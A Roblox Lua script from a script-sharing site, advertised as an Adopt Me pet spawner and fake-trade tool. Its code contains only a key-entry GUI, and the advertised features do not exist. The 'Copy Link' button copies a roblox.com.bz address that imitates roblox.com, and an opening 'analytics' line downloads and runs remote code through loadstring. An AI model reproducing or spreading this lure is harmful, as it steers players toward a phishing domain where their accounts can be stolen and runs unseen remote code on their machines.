Universal Adopt Me Visual Script (FEATURES: Fake Trade + Pet Spawner + Fake Chat)

--[[ RoScripter Safety TipThe uploader of this script isn't verified on RoScripter yet. Be careful.Protect your account:  • Type your Roblox password only on roblox.com.  • A site that looks like Roblox but has a different address is fake.  • Pages that give free Robux or prizes if you log in are scams.]]--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/hSfWCOZF?v=1"))()end);--=== Does not affect the script ===----[[
    KEY SYSTEM GUI
    ------------------------------------------------------
    Drop this into a LocalScript (e.g. StarterGui or wherever
    your loader runs). Everything is generated with Instance.new,
    so there are no external UI library dependencies.

    HOW TO CUSTOMIZE:
    - Change LINK_URL below to update the "Copy Link" button.
    - Add/remove valid keys in the VALID_KEYS table.
    - Swap ON_KEY_SUCCESS() for whatever your script should do
      once the key is verified (e.g. loadstring(game:HttpGet(...))()).
]]

local Players            = game:GetService("Players")
local TweenService       = game:GetService("TweenService")
local UserInputService   = game:GetService("UserInputService")

local LocalPlayer = Players.LocalPlayer

----------------------------------------------------------------
-- CONFIG — edit these
----------------------------------------------------------------
local LINK_URL   = "https://roblox.com.bz/communities/4075418300/" -- change anytime
local VALID_KEYS = {
    ["FREE-KEY-123"] = true,
    ["ABCD-EFGH-IJKL"] = true,
}

local function ON_KEY_SUCCESS(key)
    -- put your actual script unlock logic here
    print("[KeySystem] Key accepted:", key)
end

----------------------------------------------------------------
-- THEME
----------------------------------------------------------------
local COLORS = {
    Background   = Color3.fromRGB(20, 20, 26),
    Panel        = Color3.fromRGB(28, 28, 36),
    PanelLight   = Color3.fromRGB(36, 36, 46),
    Accent       = Color3.fromRGB(120, 90, 255),
    AccentDark   = Color3.fromRGB(80, 60, 200),
    Text         = Color3.fromRGB(240, 240, 245),
    SubText      = Color3.fromRGB(160, 160, 175),
    Success      = Color3.fromRGB(90, 220, 140),
    Error        = Color3.fromRGB(240, 90, 90),
}

local FONT_HEADER = Enum.Font.GothamBold
local FONT_BODY   = Enum.Font.GothamMedium

----------------------------------------------------------------
-- HELPERS
----------------------------------------------------------------
local function create(class, props, children)
    local inst = Instance.new(class)
    for prop, value in pairs(props or {}) do
        inst[prop] = value
    end
    for _, child in ipairs(children or {}) do
        child.Parent = inst
    end
    return inst
end

local function tween(obj, props, time, style, dir)
    local t = TweenService:Create(
        obj,
        TweenInfo.new(time or 0.2, style or Enum.EasingStyle.Quad, dir or Enum.EasingDirection.Out),
        props
    )
    t:Play()
    return t
end

local function addCorner(parent, radius)
    return create("UICorner", { CornerRadius = UDim.new(0, radius or 12), Parent = parent })
end

local function addStroke(parent, color, thickness, transparency)
    return create("UIStroke", {
        Color = color or COLORS.Accent,
        Thickness = thickness or 1,
        Transparency = transparency or 0.4,
        Parent = parent,
    })
end

local function addGradient(parent, colorSequence, rotation)
    return create("UIGradient", {
        Color = colorSequence,
        Rotation = rotation or 45,
        Parent = parent,
    })
end

local function addShadow(parent)
    local shadow = create("ImageLabel", {
        Name = "Shadow",
        BackgroundTransparency = 1,
        Image = "rbxassetid://6014261993", -- built-in soft shadow
        ImageColor3 = Color3.new(0, 0, 0),
        ImageTransparency = 0.55,
        ScaleType = Enum.ScaleType.Slice,
        SliceCenter = Rect.new(49, 49, 450, 450),
        Size = UDim2.new(1, 60, 1, 60),
        Position = UDim2.new(0.5, 0, 0.5, 4),
        AnchorPoint = Vector2.new(0.5, 0.5),
        ZIndex = 0,
    })
    shadow.Parent = parent
    return shadow
end

----------------------------------------------------------------
-- SCREEN GUI
----------------------------------------------------------------
local screenGui = create("ScreenGui", {
    Name = "KeySystemGui",
    ResetOnSpawn = false,
    ZIndexBehavior = Enum.ZIndexBehavior.Sibling,
    Parent = LocalPlayer:WaitForChild("PlayerGui"),
})

-- Draggable main frame
local main = create("Frame", {
    Name = "Main",
    Size = UDim2.new(0, 420, 0, 260),
    Position = UDim2.new(0.5, -210, 0.5, -130),
    BackgroundColor3 = COLORS.Panel,
    BorderSizePixel = 0,
    Parent = screenGui,
})
addCorner(main, 16)
addStroke(main, COLORS.Accent, 1, 0.6)
addShadow(main)

-- top accent gradient bar
local topBar = create("Frame", {
    Name = "TopBar",
    Size = UDim2.new(1, 0, 0, 46),
    BackgroundColor3 = COLORS.PanelLight,
    BorderSizePixel = 0,
    Parent = main,
})
addCorner(topBar, 16)

-- mask the bottom corners of the topbar so it looks flush
create("Frame", {
    Size = UDim2.new(1, 0, 0, 16),
    Position = UDim2.new(0, 0, 1, -16),
    BackgroundColor3 = COLORS.PanelLight,
    BorderSizePixel = 0,
    Parent = topBar,
})

create("TextLabel", {
    Text = "SCRIPT KEY SYSTEM",
    Font = FONT_HEADER,
    TextSize = 16,
    TextColor3 = COLORS.Text,
    BackgroundTransparency = 1,
    Size = UDim2.new(1, -20, 1, 0),
    Position = UDim2.new(0, 16, 0, 0),
    TextXAlignment = Enum.TextXAlignment.Left,
    Parent = topBar,
})

local accentDot = create("Frame", {
    Size = UDim2.new(0, 8, 0, 8),
    Position = UDim2.new(1, -22, 0.5, -4),
    BackgroundColor3 = COLORS.Success,
    Parent = topBar,
})
addCorner(accentDot, 4)

-- subtitle
create("TextLabel", {
    Text = "Enter your key below or grab a fresh one to unlock the script.",
    Font = FONT_BODY,
    TextSize = 13,
    TextColor3 = COLORS.SubText,
    TextWrapped = true,
    BackgroundTransparency = 1,
    Size = UDim2.new(1, -40, 0, 34),
    Position = UDim2.new(0, 20, 0, 58),
    TextXAlignment = Enum.TextXAlignment.Left,
    Parent = main,
})

-- key input box
local keyBox = create("TextBox", {
    Name = "KeyBox",
    PlaceholderText = "Paste your key here...",
    Text = "",
    Font = FONT_BODY,
    TextSize = 14,
    TextColor3 = COLORS.Text,
    PlaceholderColor3 = COLORS.SubText,
    BackgroundColor3 = COLORS.PanelLight,
    ClearTextOnFocus = false,
    Size = UDim2.new(1, -40, 0, 42),
    Position = UDim2.new(0, 20, 0, 98),
    Parent = main,
})
addCorner(keyBox, 10)
addStroke(keyBox, COLORS.Accent, 1, 0.7)

-- status label
local statusLabel = create("TextLabel", {
    Text = "",
    Font = FONT_BODY,
    TextSize = 12,
    TextColor3 = COLORS.SubText,
    BackgroundTransparency = 1,
    Size = UDim2.new(1, -40, 0, 18),
    Position = UDim2.new(0, 20, 0, 144),
    TextXAlignment = Enum.TextXAlignment.Left,
    Parent = main,
})

----------------------------------------------------------------
-- BUTTON FACTORY (used for both buttons)
----------------------------------------------------------------
local function makeButton(name, text, position, gradientColors)
    local btn = create("TextButton", {
        Name = name,
        Text = "",
        AutoButtonColor = false,
        BackgroundColor3 = COLORS.Accent,
        Size = UDim2.new(0.47, 0, 0, 46),
        Position = position,
        Parent = main,
    })
    addCorner(btn, 10)
    addGradient(btn, ColorSequence.new(gradientColors), 90)

    local label = create("TextLabel", {
        Text = text,
        Font = FONT_HEADER,
        TextSize = 14,
        TextColor3 = COLORS.Text,
        BackgroundTransparency = 1,
        Size = UDim2.new(1, 0, 1, 0),
        Parent = btn,
    })

    btn.MouseEnter:Connect(function()
        tween(btn, { Size = position.X.Scale == 0.47 and UDim2.new(0.485, 0, 0, 48) or nil }, 0.15)
        tween(btn, { BackgroundTransparency = 0.05 }, 0.15)
    end)
    btn.MouseLeave:Connect(function()
        tween(btn, { Size = UDim2.new(0.47, 0, 0, 46) }, 0.15)
        tween(btn, { BackgroundTransparency = 0 }, 0.15)
    end)
    btn.MouseButton1Down:Connect(function()
        tween(btn, { Size = UDim2.new(0.455, 0, 0, 44) }, 0.08)
    end)
    btn.MouseButton1Up:Connect(function()
        tween(btn, { Size = UDim2.new(0.47, 0, 0, 46) }, 0.08)
    end)

    return btn, label
end

-- LEFT: Check Key
local checkKeyBtn = makeButton(
    "CheckKeyButton",
    "🔑  Check Key",
    UDim2.new(0, 20, 0, 190),
    { ColorSequenceKeypoint.new(0, COLORS.Accent), ColorSequenceKeypoint.new(1, COLORS.AccentDark) }
)

-- RIGHT: Copy Link
local copyLinkBtn = makeButton(
    "CopyLinkButton",
    "🔗  Copy Link",
    UDim2.new(0.53, 0, 0, 190),
    { ColorSequenceKeypoint.new(0, COLORS.PanelLight), ColorSequenceKeypoint.new(1, COLORS.Panel) }
)
addStroke(copyLinkBtn, COLORS.Accent, 1, 0.3)

----------------------------------------------------------------
-- LOGIC
----------------------------------------------------------------
local function setStatus(text, color)
    statusLabel.Text = text
    statusLabel.TextColor3 = color or COLORS.SubText
end

checkKeyBtn.MouseButton1Click:Connect(function()
    local enteredKey = keyBox.Text
    if enteredKey == "" then
        setStatus("Please enter a key first.", COLORS.Error)
        return
    end

    if VALID_KEYS[enteredKey] then
        setStatus("✔ Key accepted! Unlocking...", COLORS.Success)
        addStroke(main, COLORS.Success, 1.5, 0.4)
        ON_KEY_SUCCESS(enteredKey)
        task.wait(0.6)
        tween(main, { BackgroundTransparency = 1 }, 0.3)
        task.wait(0.3)
        screenGui:Destroy()
    else
        setStatus("✘ Invalid key. Try again or grab a new one.", COLORS.Error)
        tween(main, { Position = main.Position + UDim2.new(0, 8, 0, 0) }, 0.05)
        task.wait(0.05)
        tween(main, { Position = main.Position - UDim2.new(0, 16, 0, 0) }, 0.05)
        task.wait(0.05)
        tween(main, { Position = UDim2.new(0.5, -210, 0.5, -130) }, 0.05)
    end
end)

copyLinkBtn.MouseButton1Click:Connect(function()
    -- setclipboard is provided by most script executors.
    -- Falls back to printing the link if unavailable.
    local ok = false
    if setclipboard then
        ok = pcall(function() setclipboard(LINK_URL) end)
    end

    if ok then
        setStatus("Link copied to clipboard!", COLORS.Success)
    else
        setStatus("Clipboard unsupported — link printed to console.", COLORS.SubText)
        print("[KeySystem] Link:", LINK_URL)
    end
end)

----------------------------------------------------------------
-- MAKE IT DRAGGABLE
----------------------------------------------------------------
do
    local dragging, dragInput, dragStart, startPos

    topBar.InputBegan:Connect(function(input)
        if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
            dragging = true
            dragStart = input.Position
            startPos = main.Position

            input.Changed:Connect(function()
                if input.UserInputState == Enum.UserInputState.End then
                    dragging = false
                end
            end)
        end
    end)

    topBar.InputChanged:Connect(function(input)
        if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
            dragInput = input
        end
    end)

    UserInputService.InputChanged:Connect(function(input)
        if input == dragInput and dragging then
            local delta = input.Position - dragStart
            main.Position = UDim2.new(
                startPos.X.Scale, startPos.X.Offset + delta.X,
                startPos.Y.Scale, startPos.Y.Offset + delta.Y
            )
        end
    end)
end

-- fade-in intro
main.BackgroundTransparency = 1
for _, obj in ipairs(main:GetDescendants()) do
    if obj:IsA("TextLabel") or obj:IsA("TextButton") or obj:IsA("TextBox") then
        obj.TextTransparency = 1
    end
end
tween(main, { BackgroundTransparency = 0 }, 0.35)
task.wait(0.05)
for _, obj in ipairs(main:GetDescendants()) do
    if obj:IsA("TextLabel") then
        tween(obj, { TextTransparency = 0 }, 0.3)
    elseif obj:IsA("TextButton") or obj:IsA("TextBox") then
        tween(obj, { TextTransparency = 0 }, 0.3)
        if obj:IsA("TextButton") then
            tween(obj, { BackgroundTransparency = 0 }, 0.3)
        end
    end
end